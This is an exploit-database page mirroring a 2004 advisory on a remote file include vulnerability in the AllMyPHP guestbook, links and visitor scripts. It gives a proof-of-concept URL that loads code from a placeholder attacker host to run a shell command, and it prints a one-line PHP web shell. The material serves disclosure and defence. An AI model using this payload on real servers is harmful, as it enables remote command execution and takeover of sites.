header-logo
Suggest Exploit
vendor:
AllMyGuests, AllMyLinks and AllMyVisitors
by:
SecurityFocus
7.5
CVSS
HIGH
Remote File Include Vulnerability
98
CWE
Product Name: AllMyGuests, AllMyLinks and AllMyVisitors
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2004

AllMyPHP Applications Remote File Include Vulnerability

Reportedly the AllMyPHP applications AllMyGuests, AllMyLinks and AllMyVisitors are prone to a remote file include vulnerability. The issue is due to insufficient filtering of URI passed variables that are used in a 'require_once()' call. This issue may allow a remote attacker to execute arbitrary commands on the affected system with the privileges of the web server. Other attacks may be possible as well.

Mitigation:

Input validation should be used to ensure that user-supplied data is properly sanitized.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/9664/info
  
Reportedly the AllMyPHP applications AllMyGuests, AllMyLinks and AllMyVisitors are prone to a remote file include vulnerability. The issue is due to insufficient filtering of URI passed variables that are used in a 'require_once()' call.
  
This issue may allow a remote attacker to execute arbitrary commands on the affected system with the privileges of the web server. Other attacks may be possible as well.

http://www.example.com/allmylinks/include/footer.inc.php?_AMLconfig[cfg_serverpath]=http://www.example.org/attacker.php/&cmd=uname%20-a

www.example.org/attacker.php' will contain:
  
<?php
system("$cmd");
?>

Navigation

Suggest Exploit

Services By CQR